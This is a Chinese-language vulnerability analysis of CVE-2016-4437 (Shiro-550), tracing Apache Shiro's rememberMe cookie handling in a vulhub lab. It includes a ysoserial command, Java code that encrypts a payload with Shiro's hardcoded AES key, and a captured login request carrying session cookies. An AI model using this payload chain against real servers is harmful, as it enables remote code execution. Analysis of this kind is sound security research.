CVE-2016-4437 Shiro 550 RCE 分析

基本信息

Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。但是shiro本身有一个预设密钥Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4

环境搭建

服务器:vulhub

客户端:添加org.apache.shiro依赖

技术分析&调试

使用ysoserial生成序列化payload

java.exe -jar .\ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

使用如下代码使用默认密钥加密生成的序列化数据

package org.chestnut;


import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws IOException {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

shiro实现rememberMe的功能是使用了cookie,首先尝试了解cookie怎么生成的, 发送正常登录请求,在org.vulhub.shirodemo.UserController#doLoginPage下断点。

POST http://192.168.59.211:8080/doLogin HTTP/1.1
Host: 192.168.59.211:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://192.168.59.211:8080
Connection: close
Referer: http://192.168.59.211:8080/login
Cookie: wp-settings-time-1=1703849655; i_like_gitea=94b6fe5fe1049e19; lang=zh-CN; redirect_to=%2F; JSESSIONID=F43AC74A73C46A3D0C5A1405CAE2AB60; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e9913da348dbccb312080f19f2d5f42e=admin%7C1704022345%7CEdPzdFLXNFDYEcHohieOoyKm4RcvX7oRVRNwcfpA1dF%7C5759451a584ee6a090f44e53eb2fd9261f3ad2d4f4a99aa74e7a5e97e598ad1d;
Upgrade-Insecure-Requests: 1

username=admin&password=vulhub&rememberme=remember-me

因为代码中声明了路由/doLogin,所以上面的请求会触发到这个方法,在doLoginPage方法内会通过subject.login调用触发调用doGetAuthorizationInfo方法。

    @PostMapping({"/doLogin"})
    public String doLoginPage(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam(name = "rememberme",defaultValue = "") String rememberMe) {
        Subject subject = SecurityUtils.getSubject();

        try {
            subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
            return "forward:/";
        } catch (AuthenticationException var6) {
            return "forward:/login";
        }
    }

调用栈如下:

doGetAuthenticationInfo:18, MainRealm (org.vulhub.shirodemo)
getAuthenticationInfo:568, AuthenticatingRealm (org.apache.shiro.realm)
doSingleRealmAuthentication:180, ModularRealmAuthenticator (org.apache.shiro.authc.pam)
doAuthenticate:267, ModularRealmAuthenticator (org.apache.shiro.authc.pam)
authenticate:198, AbstractAuthenticator (org.apache.shiro.authc)
authenticate:106, AuthenticatingSecurityManager (org.apache.shiro.mgt)
login:270, DefaultSecurityManager (org.apache.shiro.mgt)
login:256, DelegatingSubject (org.apache.shiro.subject.support)
doLoginPage:16, UserController (org.vulhub.shirodemo)
......

其中org.apache.shiro.mgt.DefaultSecurityManager#login代码如下

    public Subject login(Subject subject, AuthenticationToken token) throws AuthenticationException {
        AuthenticationInfo info;
        try {
            info = this.authenticate(token);
        } catch (AuthenticationException var7) {
            AuthenticationException ae = var7;

            try {
                this.onFailedLogin(token, ae, subject);
            } catch (Exception var6) {
                if (log.isInfoEnabled()) {
                    log.info("onFailedLogin method threw an exception.  Logging and propagating original AuthenticationException.", var6);
                }
            }

            throw var7;
        }

        Subject loggedIn = this.createSubject(token, info, subject);
        this.onSuccessfulLogin(token, info, loggedIn);
        return loggedIn;
    }

doGetAuthorizationInfo没有抛出错误时会调用onSuccessfulLogin方法 最终调用到org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin方法,代码如下

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
    this.forgetIdentity(subject);
    if (this.isRememberMe(token)) {
        this.rememberIdentity(subject, token, info);
    } else if (log.isDebugEnabled()) {
        log.debug("AuthenticationToken did not indicate RememberMe is requested.  RememberMe functionality will not be executed for corresponding account.");
    }

}

protected boolean isRememberMe(AuthenticationToken token) {
    return token != null && token instanceof RememberMeAuthenticationToken && ((RememberMeAuthenticationToken)token).isRememberMe();
}

首先判断是否token是否有效以及是否需要设置rememberMe,如果是则进入rememberIdentity方法内,跟随调用栈,进入rememberIdentity方法

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
    this.rememberIdentity(subject, principals);
}
    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
        this.rememberSerializedIdentity(subject, bytes);
    }

在调试器中看到,rememberIdentity方法通过调用convertPrincipalsToBytes方法获取到了字节数组,而后传给了rememberSerializedIdentity方法

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
    this.rememberSerializedIdentity(subject, bytes);
}

那么这个字节数组是怎么产生的呢?跟进查看,可以看到首先调用serialize方法序列化,而后使用this.encrypt方法进行加密。其中序列化的对象为SimplePrincipalCollection类

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = this.serialize(principals);
        if (this.getCipherService() != null) {
            bytes = this.encrypt(bytes);
        }

        return bytes;
    }

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
            value = byteSource.getBytes();
        }

        return value;
    }

进入encrypt方法,从调试器中可以加密对象为AesCipherService类AES加密CBC模式,而后将目标数据和加密key传给cipherService.encrypt进行加密,key由getEncryptionCipherKey得到。

最终看到key在构造函数中分配,为固定值。

public AbstractRememberMeManager() {
    this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

解密过程

前面我们知道序列化的类是SimplePrincipalCollection,路径为org.apache.shiro.subject.SimplePrincipalCollection,其重写了writeObject和readObject方法,直接在readObject方法断点,使用ysoserial生成恶意序列化数据,使用CommonsBeanutils1 链。 调用栈如下

readObject:295, SimplePrincipalCollection (org.apache.shiro.subject)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
.....

可以看出在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals解密并反序列化,其解密过程也是调用AES解密并把默认密钥传入。

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (this.getCipherService() != null) {
            bytes = this.decrypt(bytes);
        }

        return this.deserialize(bytes);
    }
    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }

        return serialized;
    }

在org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,代码如下

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    } else {
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);

        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            T deserialized = ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception var6) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, var6);
        }
    }
}

会尝试调用ObjectInputStream.readObject方法,而ClassResolvingObjectInputStream类重写了resolveClass方法,因此会调用重写的resolveClass方法

    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
        }
    }

    public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }

            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }

        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }

            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }

        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }

跟进THREAD_CL_ACCESSOR.loadClass,在调试其中可以看到已经获取到TomcatEmbeddedWebAppClassLoader,并且将目标类java.util.PriorityQueue加载。

而后尝试反序列化该类,该类重写了readObject方法,在该方法断点,调用栈如下

readObject:782, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)

代码执行

通过传入 CommonsBeanutils1 链的序列化数据执行代码。

PoC https://paste.ubuntu.com/p/T5DNQXYm7H/

小结

由于代码中使用了固定的密钥,使得攻击者可以构造合法的加密数据,使得shiro反序列化攻击者的恶意数据,触发反序列化,通过CommonsBeanutils1反序列化链实现代码执行。

参考链接

http://www.luckysec.cn/posts/9db50098.html

Created at 2024-01-08T18:08:35+08:00

创建于:Monday, January 8,2024
最后修改于: Friday, January 12,2024